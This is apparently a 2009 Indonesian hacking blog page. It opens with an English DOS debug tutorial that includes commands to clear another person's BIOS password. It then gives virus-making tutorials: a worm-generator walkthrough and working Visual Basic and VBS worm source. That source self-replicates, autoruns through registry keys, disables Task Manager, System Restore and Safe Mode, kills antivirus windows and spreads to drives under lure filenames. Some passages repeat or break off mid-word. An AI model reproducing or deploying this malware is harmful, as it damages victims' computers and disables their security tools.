Debug is a program that comes with modern versions of DOS (I do not know when I started shipping out with DOS). Anyway, all Windows users should have it already.
It's a great tool for debuging programs, unassembling and cracking, and reading "hidden" memory areas like the boot sector, and much more.
The following was copied from an assembly tutorial who's author we cannot credit, because we have no idea who he is.
Get into DOS and type "debug", you will get a prompt like this:
-
now type "?", you should get the following response:
assemble A [address]
compare C range address
dump D [range]
enter E address [list]
fill F range list
go G [=address] [addresses]
hex H value1 value2
input I port
load L [address] [drive] [firstsector] [number]
move M range address
name N [pathname] [arglist]
output O port byte
proceed P [=address] [number]
quit Q
register R [register]
search S range list
trace T [=address] [value]
unassemble U [range]
write W [address] [drive] [firstsector] [number]
allocate expanded memory XA [#pages]
deallocate expanded memory XD [handle]
map expanded memory pages XM [Lpage] [Ppage] [handle]
display expanded memory status XS
Lets go through each of these commands:
Assemble:
-a
107A:0100
At this point you can start assembling some programs, just like using a assembler. However the debug assembler is very limited as you will probably notice. Lets try to enter a simple program:
-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g
A
Program terminated normally
That's the same program we did at the end of the previous chapter. Notice how you run the program you just entered with "g", and also notice how the set-up part is not there? That's because debug is just too limited to support that.
Another thing you can do with assemble is specify the address at which you want to start, by default this is 0100 since that's where all .COM files start.
Compare:
Compare takes 2 block of memory and displays them side by side, byte for byte. Lets do an example. Quite out of debug if you haven't already using "q". Now type "debug c:\command.com"
-c 0100 l 8 0200
10A3:0100 7A 06 10A3:0200
This command compared offset 0100 with 0200 for a length of 8 bytes. Debug responded with the location that was DIFFERENT. If 2 locations were the same, debug would just omit them, if all are the same debug would simply return to the prompt without any response.
Dump:
Dump will dump a specified memory segment. To test it, code that assembly program again:
C:\>debug
-a
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-d 0100 l 8
107A:0100 B4 02 B2 41 CD 21 CD 20
...A.!.
The "B4 02 B2 41 CD 21 CD 20" is the program you just made in machine language.
B4 02 = MOV AH,02
B2 41 = MOV DL,41
CD 21 = INT 21
CD 20 = INT 20
The "...A.!." part is your program in ASCII. The "." represent non-printable characters. Notice the A in there.
Enter:
This is one of the hard commands. With it you can enter/change certain memory areas. Lets change our program so that it prints a B instead of an A.
-e 0103 <-- edit program at segment 0103
107A:0103 41.42 <-- change 41 to 42
-g
B
Program terminated normally
-
Wasn't that amazing?
Fill:
This command is fairly useless, but who knows....
It fills the specified amount of memory with the specified data. Lets for example clear out all memory from segment 0100 to 0108, which happens to be our program.
-f 0100 l 8 0 <-- file offset 0100 for a length of 8 bytes with 0
-d 0100 l 8 <-- verify that it worked
107A:0100 00 00 00 00 00 00 00 00 .......
Yep, it worked.
Go:
So far we used go (g) to start the program we just created. But Go can be used for much more. For example, lets say we want to execute a program at 107B:0100:
-r CS <-- set the CS register to point to 107B
CS 107A
:107B
-g =100
You can also set breakpoints.
-a <-- enter our original program so we have something
107A:0100 MOV AH,02 to work with
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-g 102 <-- set up a break point at 107A:0102
At this point the program will stop, display all registers and the current instruction.
Hex:
This can be very useful. It subtracts and adds two hexadecimal values:
-h 2 1
0003 0001 <-- 2h + 1+ = 3h and 2h - 1h = 1h
This is very useful for calculating a programs length, as you will see later.
Input:
This is one of the more advanced commands, and I decided not to talk about it too much for now. It will read a byte of data from any of your computers I/O ports (keyboard, mouse, printer, etc).
-i 3FD
60
-
Your data may be different.
In case you want to know, 3FD is Com port 1, also known as First Asynchronous Adapter.
Load:
This command has 2 formats. It can be used to load the filename specified with the name command (n), or it can load a specific sector.
-n c:\command.com
-l
This will load command.com into debug. When a valid program is loaded all registers will be set up and ready to execute the program.
The other method is a bit more complicated, but potential also more usefull. The syntax is
L
-l 100 2 10 20
This will load starting at offset 0100 from drive C (0 = A, 1 = B, 2 = C, etc), sector 10h for 20h sectors. This can be useful for recovering files you deleted.
Move:
Move takes a byte from the starting address and moves it to the destination address. This is very good to temporary move data into a free area, than manipulate it without having to worry about affecting the original program. It is especially useful if used in conjunction with the r command to which I will get later. Lets try an example:
-a <-- enter our original program so we have something
107A:0100 MOV AH,02 to work with
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-m 107A:0100 L 8 107B:0100 <-- more 8 bytes starting from 107A:0100 into 107B:0100
-e 107B:0103 <-- edit 107B:0103
107B:0103 41.42 <-- and change it 42 (
-d 107A:0100 L 8 <-- make sure it worked
107A:0100 B4 02 B2 41 CD 21 CD 20 ...A.!.
-d 107B:0100 L 8
107A:0100 B4 02 B2 42 CD 21 CD 20 ...B.!.
-m 107B:0100 L 8 107A:0100 <-- restore the original program since we like the changes.
Name:
This will set debug up with a filename to use for I/O commands. You have to include the file extension, and you may use addition commands:
-n c:\command.com
Output:
Exactly what you think it is. Output sends stuff to an I/O port. If you have an external modem with those cool lights on it, you can test this out. Find out what port your modem is on and use the corresponding hex number below:
Com 1 = 3F8 - 3FF (3DF for mine)
Com 2 = 2F8 - 2FF
Com 3 = ??? - ??? (if someone knows, please let me know)
Now turn on the DTA (Data Terminal Ready) bit by sending 01h to it:
-o XXX 1 <-- XXX is the com port in hex
As soon as you hit enter, take a look at your modem, you should see a light light up. You can have even more fun with the output command. Say someone put one of those BIOS passwords on "your" computer. Usually you'd have to take out the battery to get rid of it, but not anymore:
MI/AWARD BIOS
-o 70 17
-o 71 17
QPHOENIX BIOS
-o 70 FF
-o 71 17
QGENERIC
-o 70 2E
-o 71 FF
These commands will clear the BIOS memory, thus disabling the password.
Proceed:
Proceeds in the execution of a program, usually used together withy Trace, which I will cover later. Like the go command, you can specify an address from which to start
using =address
-p 2
Debug will respond with the registers and the current command to be executed.
Quite:
This has got to be the most advanced feature of debug, it exits debug!
-q
Register:
This command can be used to display the current value of all registers, or to manually set them. This is very useful for writing files as you will see later on.
-r AX
AX: 011B
:5
-
Search:
Another very useful command. It is used to find the occurrence of a specific byte, or series of bytes in a segment. The data to search for can by either characters, or a hex value. Hex values are entered with a space or comma in between them, and characters are enclosed with quotes (single or double). You can also search for hex and characters with the same string:
-n c:\command.com <-- load command.com so we have some data to search in
-l
-s 0 l 0 "MS-DOS" <-- search entire memory block for "MS-DOS"
10A3:39E9 <-- found the string in 10A3:39E9
NOTE: the search is case sensitive!
Trace:
This is a truly great feature of debug. It will trace through a program one instruction at a time, displaying the instruction and registers after each. Like the go command you can specify where to start executing from, and for how long.
-a <-- yes, this thing again
107A:0100 MOV AH,02
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
-t =0100 8
If you leave out the amount of instructions that you want to trace, you can use the proceed (p) to continue the execution as long as you want.
Unassemble:
Unassembles a block of code. Great for debugging (and cracking)
-u 100 L 8 <-- unassembles 8 bytes starting at offset 100
107A:0100 MOV AH,02 <-- debut's response
107A:0102 MOV DL,41
107A:0104 INT 21
107A:0106 INT 20
Write:
This command works very similar to Load. It also has 2 ways it can operate: using name, and by specifying an exact location. Refer to back to Load for more information.
NOTE: The register CX must be set the file size in order to write!
NOTE: Write will not write .EXE or .HEX files.[SIZE=7][SIZE=14]
Asistenku Yang Praktis cuma dari Hp
Segala Pembayaran di berikan kemudahan didalamnya, Buktikan!!!
Ebook & Artikel Internet
E-Book & Artikel Linux (Download Gratis lho..!!!)
i'am
Member
VISITOR
SOLUSI FINANSIAL ANDA JANGAN RAGU UNTUK MELAKUKAN DAN BUKTIKAN SENDIRI
DELIOZART
OK lam PERKOSA MANIA....PERsahabatan KOmpak SelAlu...!!!
Kumpul Blogger
Disini anda bisa menjadi publiser ( pemasang iklan ) pada blogspot, wordperrs, dan friendster anda.
Bisnis ini sama halnya dengan bisnis PPC (pay per klick) lainya, tapi kelebihannya anda bisa sharing ilmu dan silaturahmi dengan para pembisnis internet. sekalian
Ayo buruan daftar di www.kumpulblogger.com secara GRATIS ! Dan dapatkan keuntungannya. Klik aja neh www.kumpulblogger.com jangan lupa sering-sering mampir di blog ne ya hehehehe...
Debug: Learn how to crack windows, programs ect manually
Posted by : dELiozart on Tuesday, August 18, 2009 | Labels: Hacking, Program, Tips nTrik, Windows | 0 Comments
TENTANG VIRUS DAN CARA MEMBUATNYA
Tulisan ini dibuat untuk para newbie yang ingin tahu, dan mencoba sesuatu hal yang baru dan cukup menyenangkan dan mengasikan…he..he…
Oke, tanpa banyak cang…cing…cong….nyak..babeh…, mari kita mulai dengan ‘Black Project’ yang akan kita ciptakan, siap….????? Oke kita mulai…..
Tapi sebelumnya ada yang tau VB+Vimaker32 ga??? Oke, mungkin biar ga bingung and ga tersesat nantinya , saya akan jelaskan sedikit. VB+ViMaker32 adalah sebuah worm generator yang diciptakan khusus untuk menciptakan worm secara mudah,cepat dan instan atau istilah gaulnya GPLLY (ga pake lama la yaw)
Sesuai dengan namanya program ini dapat menciptakan worm dalam bahasa Visual Basic yang akan mempunyai aksi-aksi tertentu sesuai dengan pengaturan yang diberikan. (Bener-bener sesuai dengan pengaturan yang kita kasih lho….), so buat para newbie yang pengen jadi #VM (Virus Maker bo…!) bisa pake ni program buat belajar. Tapi Cuma buat belajar lho, bukan buat mainan atawa yang laen apalagi buat ngerusak komputer orang laen, sesuai dengan tujuan dibuatnya tool ini, Cuma buat pendidikan dan ilmu pengetahuan, (Itu kata pembuatnya….)
Oke dech langsung aj kali ye… bis cape ngomong terus dari tadi ga mulai-mulai neh… Tapi sebelum kita memulai membuat ‘Black Project’ dengan tool ini kita membutuhkan beberapa persyaratan dan tools, yang semuanya bisa didownload di dapur kalian masing-masing:
Sebuah gelas yang berisi air panas lengkap dengan sendoknya.
Satu sachet cappuccino rasa apa saja yang belum kadaluwarsa, klo ini bisa didownload di warung terdekat…
Cemilan, kalo bisa yang enak dan ga mengandung lemak.
Hati, Pikiran dan niat yang tulus dan ikhlas untuk menanggung segala macam akibat dan resiko yang terjadi apabila kesalahan atau ketidaksengajaan yang menyebabkan worm yang dibuat menjadi raja dikomputer sendiri (sejenis senjata makan tuan gtu…)
Sekarang benar-benar mulai deh, setelah didownload, pertama install dulu program VB+Vimaker32-nya tapi sebelumnya backup dulu data2 penting untuk mencegah sesuatu yang tidak diinginkan, truz jalanin file .exe nya, lalu pilih File->Project Baru (Full Load) atau tekan Ctrl+M di keyboard. Hasilnya seperti gambar dibawah ini.
Tampilan VB+Vimaker32 RC 03 :
Masukan semua keterangan tentang virus yang akan dibuat beserta pengaturan-pengaturan lainnya, seperti pengaturan Informasi Virus, Registry, Message dan dll. Masukan semuanya sesuai dengan keinginan, untuk lebih lengkapnya buka aja dokumentasinya yang disertakan. Semua informasi pengaturan settings dll ada disitu. Yang menarik dari program ini adalah karna banyak pengaturan dan kustomasi yang bisa diatur sendiri sesuai dengan kebutuhan, tidak seperti program worm generator lainnya yang cuma tinggal masukin nama pembuat dan pesan yang akan ditampilkan, terasa kurang bebas dan leluasa gt.
Untuk pengaturan tentang registry yang akan diubah bisa diambil di menu Tools-> Registry Action Selector, terdapat 50 Registry Entry yang bisa dipilih, tinggal pilih truz double klik di setingan registry-nya. Truz klik Insert, Cut dan paste di section [REGISTRY]. Selain itu worm yang dibuat dengan tools ini juga bisa membaca caption window yang aktif sehingga jika caption tersebut ada dalam daftar terlarang maka akan otomatis dilumpuhkan. Untuk memilih daftar window caption yang akan dilumpuhkan gunakan Window Caption Selector di menu Tools. Disitu ada 176 daftar caption yang bisa dipilih. Tuh kan ga beda jauh dengan worm lokal sejenisnya. Pokokenya top bgt nih program! He..he…
Berikut tampilan Registry Action Selector :
Masukan semua keterangan tentang virus yang akan dibuat beserta pengaturan-pengaturan lainnya, seperti pengaturan Informasi Virus, Registry, Message dan dll. Masukan semuanya sesuai dengan keinginan, untuk lebih lengkapnya buka aja dokumentasinya yang disertakan. Semua informasi pengaturan settings dll ada disitu. Yang menarik dari program ini adalah karna banyak pengaturan dan kustomasi yang bisa diatur sendiri sesuai dengan kebutuhan, tidak seperti program worm generator lainnya yang cuma tinggal masukin nama pembuat dan pesan yang akan ditampilkan, terasa kurang bebas dan leluasa gt.
Untuk pengaturan tentang registry yang akan diubah bisa diambil di menu Tools-> Registry Action Selector, terdapat 50 Registry Entry yang bisa dipilih, tinggal pilih truz double klik di setingan registry-nya. Truz klik Insert, Cut dan paste di section [REGISTRY]. Selain itu worm yang dibuat dengan tools ini juga bisa membaca caption window yang aktif sehingga jika caption tersebut ada dalam daftar terlarang maka akan otomatis dilumpuhkan. Untuk memilih daftar window caption yang akan dilumpuhkan gunakan Window Caption Selector di menu Tools. Disitu ada 176 daftar caption yang bisa dipilih. Tuh kan ga beda jauh dengan worm lokal sejenisnya. Pokokenya top bgt nih program! He..he…
Berikut tampilan Registry Action Selector :
angan lupa icon virusnya juga bisa diubah, untuk mengganti icon default tinggal ubah di subsection : EXEIcon = \Icons Source\Folder\Folder001.ico
Terdapat banyak pilihan icon yang disediakan didalam folder Icons Source, so tinggal pilih aja…
Terakhir dan merupakan saat yang ditunggu-tunggu adalah melakukan pemeriksaan kode yang telah diketik sebelum dicompile menjadi virus. Klik menu Project->Analisa Project atau tekan F8 untuk menganalisa kode, setelah analisa selesai dan tidak ada kesalahan penulisan kode yang dideteksi maka ‘Black Project’ yang kita buat bisa langsung dicompile. Tekan F9 untuk mengcompile project dan sebuah pesan peringatan akan muncul dan menanyakan apakah proses compile akan dilajutkan, baca dulu semua konsekuensinya truz klo setuju klik yes, maka virus yang kita buat akan langsung dicompile menjadi file executable (.exe)
ile hasil compile memang cukup besar karena tidak otomatis dikompres secara internal, tapi kita masih bisa mengompres dengan program kompresor lain seperti UPX atau tElock. Akhir kata selamat ber-Virus Maker xxx
Belajar buat virus
Ingin tahu gimana membuat virus pakai vb. ikuti tutorial berikut ini:
Virus ini cuman menggandakan dirinya secara berulang – ulang,Kalo dibuka akan mengcopy dirinya 2 kali,terus-menerus,memberi penamaan pada dirinya sesuai nomor yang diacak,dan mendaftarin dirinya ke Register.bisa ditambahin kode-kode lain supaya lebih mantap,seperti block task: manager,msconfig,dsb.Mungkin ini kelihatan biasa aja,aq cuman ingin bagi-bagi ilmu aja,maaf ya.. kalo gak bisa gasih lebih..ini codenya :
Private Sub Form_Load()
On Error Resume Next
KopiSusu
DaftarinKeRegister
End Sub
Public Function Pengacakan(ByVal Low As Long, ByVal High As Long) As Long
Randomize
Pengacakan = Int((High - Low + 1) * Rnd) + Low
End Function
Private Sub KopiSusu()
On Error Resume Next
X2 = 0
Do Until X2 = 2
X = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\" & App.EXEName & X & ".exe"
Shell App.Path & "\" & App.EXEName & X & ".exe"
X2 = X2 + 1
Loop
End Sub
Private Sub DaftarinKeRegister()
X3 = Pengacakan(0, 999999999)
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\plaige" & X3 & ".exe"
Dim RegKey
Set RegKey = CreateObject("WScript.Shell")
RegKey.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\plaige", "C:\windows\plaige" & X3 & ".exe"
End Sub
Virus Kikuk yang dibuat dengan VBS
virus ni bukan jahat, tapi usil yaitu mengganti tulisan mycomputer, recyle bin, my network dan lain-lain. virus ini juga akan menginfeksi file ke FD. juga secara otomatis autorun dengan membuat file autorun.inf
Berikut adalah source codenya (karena dibuat pakai vbs amaka bisa langsung di lihat source codenya....
Explorer\Main\Window Title","Your Computer Has been Infected By Virus : Paray Rontox"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\International\s1159","Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\International\s2359","Kikuk_Kikuk_666"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\Shell Icon Size","128"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\MinWidth","-100"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
ParayCity.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\MouseSensitivity", "2"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickHeight", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickSpeed", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Mouse\DoubleClickWidth", "6000"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Keyboard\KeyboardDelay", "0"
ParayCity.regwrite "HKEY_CURRENT_USER\Control Panel\Keyboard\KeyboardSpeed", "36"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCDBurning", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableConfig", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore\DisableSR", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\LimitSystemRestoreCheckpointing", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\DisableMSI", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Paray@Hacker", rumahgue & "\Kikuk_666_Kikuk.vbs"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ParayRontox", rumahgue & "\Kikuk_666_Kikuk.vbs"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "2", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden", "0", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", "0", "REG_DWORD"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Text", "bangsat kljsdouiyhifeledfdsl"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Type", "sfgdhtgtygvhgf"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\", "Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\IntroText","Maaf komputer anda sudah terinfeksi virus Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InfoTip","Maaf komputer anda sudah terinfeksi virus Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\", "Jaringan Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\", "Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\", "Dokument Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\", "Tonk Kikuk_666_Kikuk"
ParayCity.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\HelloParay", rumahgue & "\Kikuk_666_Kikuk_Massage.htm"
if check <> 1 then
Wscript.sleep 300000
end if
loop while check <> 1
set sibungul = createobject("Wscript.shell")
sibungul.run rumahgue & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
apabila anda lelah memandang dan lelah untuk copy pa
VirusVb
Untuk virus ni anda membutuhkan 1 form dan 4 Module. Untuk lebih jelasnya silahkan anda lihat coding berikut ini:
Private Sub bunuh_Timer()
'proteksi
tutup "avg"
tutup "anti"
tutup "ANSAV"
tutup "avast"
tutup "asm"
tutup "avira"
tutup "cillin"
tutup "clean"
tutup "CONFIRM FILE DELETE"
tutup "CONFIRM MULTIPLE FILE DELETE"
tutup "compact"
tutup "CRC"
tutup "debug"
tutup "detect"
tutup "NOD"
tutup "Gasak!!!"
tutup "hijack"
tutup "INTERNET OPTIONS"
tutup "kill"
tutup "KILLBOX"
tutup "k1ckth3w0rm"
tutup "kaspersky"
tutup "mcafee"
tutup "NVC"
tutup "norton"
tutup "regis"
tutup "Norman"
tutup "Ogav"
tutup "panda"
tutup "POCKET KILLBOX"
tutup "proc"
tutup "recovery"
tutup "remover"
tutup "rest"
tutup "scan"
tutup "system"
tutup "System Mechanic"
tutup "Setup"
tutup "SHOW/KILL RUNNING PROCESS"
tutup "SYSTEM RESTORE"
tutup "superdat"
tutup "S m a d A V"
tutup "SmadAV"
tutup "task"
tutup "TKM"
tutup "termin"
tutup "trojan"
tutup "tune"
tutup "update"
tutup "virus"
tutup "vaksin"
tutup "WAV"
tutup "wash"
tutup "walk"
tutup "w32"
'selamatkan moral bangsa
kick "17tahun"
kick "adult"
kick "anal"
kick "bangbros"
kick "bangbus"
kick "Bugil"
kick "CrystalClear"
kick "Doggy Style"
kick "amit-amit"
kick "hentai"
kick "hottie"
kick "kiara kener"
kick "Kama Sutra"
kick "lalatx"
kick "miyabi"
kick "masturb"
kick "naughty"
kick "nude"
kick "naked"
kick "nana1_chunk"
kick "pussy"
kick "porn"
kick "sex"
kick "scandal"
kick "spy cam"
kick "SQ Evolution"
kick "Three Some"
kick "webcam show"
kick "xxx"
Call ganda
Call Racuni_Registry
Call proteksi_folder
End Sub
Private Sub Form_Load()
Y4D0Y666.Hide
App.TaskVisible = False
If App.PrevInstance Then End
'ganda di folder windows dengan nama dafault.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetWindowsPath & "\" & "default.bat", 0
'ganda di system32 dengan nama login.exe dan autoexec.bat
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "login.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSystemPath & "\" & "autoexec.bat", 0
'ganda di mydocument dengan nama Kerispatih On Da Stage.exe
CopyFile App.Path & "\" & App.EXEName & ".exe", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "KerisPatih On Da Stage.exe", 0
Call ganda
Call Racuni_Registry
Call proteksi_folder
Call Kill_antivirus
End Sub
Private Function Racuni_Registry()
On Error Resume Next
'Disable System Restore
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableConfig", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore", "DisableSR", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "LimitSystemRestoreCheckpointing", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Policies\Microsoft\Windows\Installer", "DisableMSI", 1
'Ubah tipe file *.exe jadi Winamp media file
CreateStringValue HKEY_CLASSES_ROOT, "exefile", REG_SZ, "", "Winamp media file"
'Manipulasi Internet Explorer
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Window Title", "..:: YaDoY666 [WuZ HeRe] ::.."
CreateStringValue HKEY_CURRENT_USER, "Software\Microsoft\Internet Explorer\Main\", REG_SZ, "Start Page", GetSpecialfolder(CSIDL_PERSONAL) & "\" & "My Pictures\About.htm"
'auto run virus
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "User-Login", GetSystemPath & "login.exe"
CreateStringValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run\", REG_SZ, "Norton", GetWindowsPath & "default.bat"
'Disable Folder Options
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\", "NoFolderOptions", 1
'atur registry agar file dengan yang disembunyikan tidak tampil
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "HideFileExt", 1
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "Hidden", 0
CreateDwordValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\", "ShowSuperHidden", 0
'Atur registry agar tidak bisa masuk safe mode
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmio.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "dmload.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\", "vgasave.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmboot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "dmiot.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpcdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpdd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "rdpwd.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sermouse.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "sr.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdpipe.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "tdtcp.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vga.sys"
DeleteValue HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Control\SafeBoot\Network\", "vgasave.sys"
End Function
Private Function ganda()
Dim ictr As Integer
Dim sAllDrives As String
Dim sDrive As String
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 3 Or GetDriveType(sDrive) = 2 Then
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "I Love You.exe", 0
CopyFile App.Path & "\" & App.EXEName & ".exe", sDrive & "cewe_bandel.exe", 0
End If
Next
End Function
Private Sub Form_Unload(Cancel As Integer)
Shell GetSystemPath & "\" & "login.exe"
End Sub
Private Sub proteksi_folder()
On Error Resume Next
SetAttr GetWindowsPath, vbNormal
SetAttr GetWindowsPath & "\" & "desktop.ini", vbNormal
Kill GetWindowsPath & "\" & "desktop.ini"
Open GetWindowsPath & "\" & "desktop.ini" For Output As #1
Print #1, "[.ShellClassInfo]"
Print #1, "CLSID={C96401CC-0E17-11D3-885B-00C04F72C717}"
